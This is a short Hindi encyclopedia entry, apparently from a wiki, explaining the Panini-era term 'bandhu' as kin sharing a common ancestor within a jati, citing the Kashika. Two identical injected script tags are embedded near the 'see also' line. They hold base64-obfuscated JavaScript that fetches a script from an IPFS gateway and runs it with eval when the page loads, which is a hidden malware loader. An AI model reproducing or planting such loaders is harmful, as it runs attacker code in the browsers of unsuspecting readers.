बंधु
भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (चर्चा | योगदान) द्वारा परिवर्तित 10:10, 6 मई 2018 का अवतरण (Text replacement - "Category:पाणिनिकालीन शब्दावली" to "Category:पाणिनिकालीन शब्दावली Category:पाणिनिकालीन भारत")
बंधु पाणिनिकालीन भारतवर्ष में प्रचलित एक शब्द था।
- काशिका में स्पष्ट लिखा है कि ब्राह्मणत्व आदि जाति तो अव्यक्त है। वह जिन व्यक्तियों द्वारा पहचानी जाती है, वे बंधु कहलाते हैं।
- बंधु शब्द में यह संकेत है कि एक जाति के सब सदस्य एक पूर्व पुरुष के उत्पन्न होने के कारण एक-दूसरे से बंधे हैं। इस कारण सब जाति भाई आपस में समान 'बंधु' या 'सबंधु' कहे जाते थे।[1][2]
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें: पाणिनि, अष्टाध्यायी एवं भारत का इतिहास<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|